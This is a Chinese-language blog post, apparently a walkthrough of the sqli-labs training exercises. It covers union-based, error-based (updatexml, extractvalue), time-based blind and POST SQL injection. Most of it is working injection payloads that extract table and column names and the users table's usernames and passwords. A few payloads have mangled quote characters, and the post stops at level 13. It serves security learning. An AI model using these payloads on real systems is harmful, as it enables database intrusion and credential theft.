SQL-libs

SQL注入方式

1.联合注入

2.延时注入

3.报错注入

SQL注入基本流程

1.判断注入点,例如修改id查看页面变化

2.判断闭合方式,常见闭合方式有 ‘ ‘’ ‘()’等等 ,采用注释的方式改变原函数功能

3.查询列数,通过group by或者 order by 函数获取列数

4.通过union select特性,可以将多个SELECT查询的结果结合在一起,同时输出

5.可以查询到想要的结果

原理说明

知识补充:information_schema是mysql自带数据库,mysql都自带这个数据库

  1. 获取所有表结构(TABLES)
    1
    SELECT  *  FROM information_schema.TABLES WHERE  TABLE_SCHEMA='数据库名'
    information_schema 中的表实际上是视图,而不是基本表。
    information_schema 是一个特殊的数据库,用于存储关于所有数据库对象(如表、列、索引等)的元数据。它提供了一种标准化的方式来查询数据库的结构和对象信息。下面是information_schema 中常用的几个表及其结构:
    information_schema.TABLES:
    TABLE_SCHEMA: 表所在的数据库名称。
    table_name:表的名称
    information_schema.COLUMNS:
    COLUMN_NAME: 列的名称。

第1关-SQLI-1-联合注入

第一步:首先判断注入点,更改id时,页面有回显

第二步:判断闭合方式

1
Less-1/?id=1' # 输入' 可以判断出通过'判断

第三步:利用注释 – +,注释掉原语句

第四步:利用group by判断条目数量


发现条目为4时报错

为3时正常输出,判断条目为3条

5.所以进行联合查询时需要union select 1,2,3 三个部分

?id=1' union select 1,2,3 -- +

5.1同时需要将前面id改为异常值,禁止原结果输出,会输出我们定义的“1,2,3”的别名

?id=-1' union select 1,2,3 -- +

5利用嵌入select的函数,来进行嵌入执行

Less-1/?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database() ) -- +
group_concat功能代表整合到一起输出
查询出表名有users,猜测users中有账号的用户名和密码

Less-1/?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ) -- +
获取到users表中的column字段内容

根据字段和表再用直接查询,得到用户名和账号
Less-1/?id=-1' union select 1,2,(select group_concat(username,password) from users ) -- +

第2关-SQLI-2-联合注入

数字型id,同样的方式,但没有字符,不需要闭合方式
less-1/?id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users') --+

第3关-SQLI-3-联合注入

Less-3/?id=2') -- + 闭合方式为')

第4关-SQLI-4-联合注入

Less-3/?id=-1") -- +闭合方式为")

第5关-SQLI-4-无回显可以选用报错注入、延时盲注、布尔盲注

Less-5/?id=1' and 1=1 -- + 更改错误信息,无回显,可以选择报错注入、延时盲注、布尔盲注

报错注入常用函数

1、floor()

2、updatexml(xml_doument,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
and updatexml(1,concat(0x7e,(),0x7e),1) –+一共可以接收三个参数,报错位置在第二个参数.

3、extractvalue()

updatexml使用三个参数,extractvalue只有两个参数。
and extractvalue(1,concat(0x7e,())) –+一共可以接收两个参数,报错位置在第二个参数

Less-5/?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1) -- +
通过updatexml函数获取数据库名

Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- +
类似上述流程,获取表名:emails,referers,uagents,users

Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) -- +
获取users表中的列名

Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) -- +
获取users表中的username和password

第6关 SQL-libs-6

1.利用extractvalue函数 ,闭合方式为 ” ,其他同上


先查表名,在获取列名,在查询账户密码

Less-6/?id=4" and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users ))) -- +

第8关 SQL-libs-8 –时间盲注

时间盲注

时间盲注是利用sleep函数造成延时,判断是否可以进行注入
由于页面无法返回正确或错误的值,需要通过判断语句,类似布尔注入,通过if和sleep函数来逐步判断范围,需要用到的函数格式如下
if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y
if(1=1,1,sleep(1)),可以输入1
if(1=2,1,sleep(1)),会sleep1秒后在进行回显

Less-8/?id=1' and if(1=2,1,sleep(1))' ,通过尝试发现闭合方式为id=1’’`,通过sleep函数发现有延时

判断库名的长度

`Less-8/?id=1’ and if(length(database())<10,sleep(2),0) –+

判断库的名字

可以通过ascii码进行, 也可以直接爆破

ascii方法


if(ascii(substr(database(),1,1))=115,sleep(2),0)
substr()通过截断方式来获取名字字母,在通过ascii函数转换成ascii码进行对比,如果为真则sleep2秒

直接对比字母


Less-8/?id=1’' and if(substr(database(),1,1)='s',sleep(5),0) -- +,substr()通过截断方式来获取名字字母,与字母进行对比。

Less-8/?id=1’' and if(substr(database(),2,1)='e',sleep(5),0) -- +,判断第二个字母是否为
e.

判断表名字

通过substr函数进行表名分割

if((substr(“查询表语句”,1,1)=’e’) ,sleep(1), 0)
查询表名语句如下:
(select table_name from information_schema.tables where table_schema=database() limit 0,1)

1
Less-8/?id=1’' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e') ,sleep(1), 0) -- +

第11关 SQL-libs-11 –post注入

get注入参数在url中,post注入需要在表单中进行
post注入一般为字符型注入
1.判断闭合方式


通过报错情况分析,闭合方式为单引号’,尝试通过单引号及#进行注释,发现未报错,确定闭合方式为‘。

  1. 通过BP抓包

第12关 SQL-libs-12–post注入

闭合方式为")

1
uname=1 ") union select database(),2 # &passwd=1&submit=Submit

第13关 SQL-libs-13–post注入


SQL-libs
http://yoursite.com/2024/09/02/SQL-libs/
Author
John Doe
Posted on
September 2, 2024
Licensed under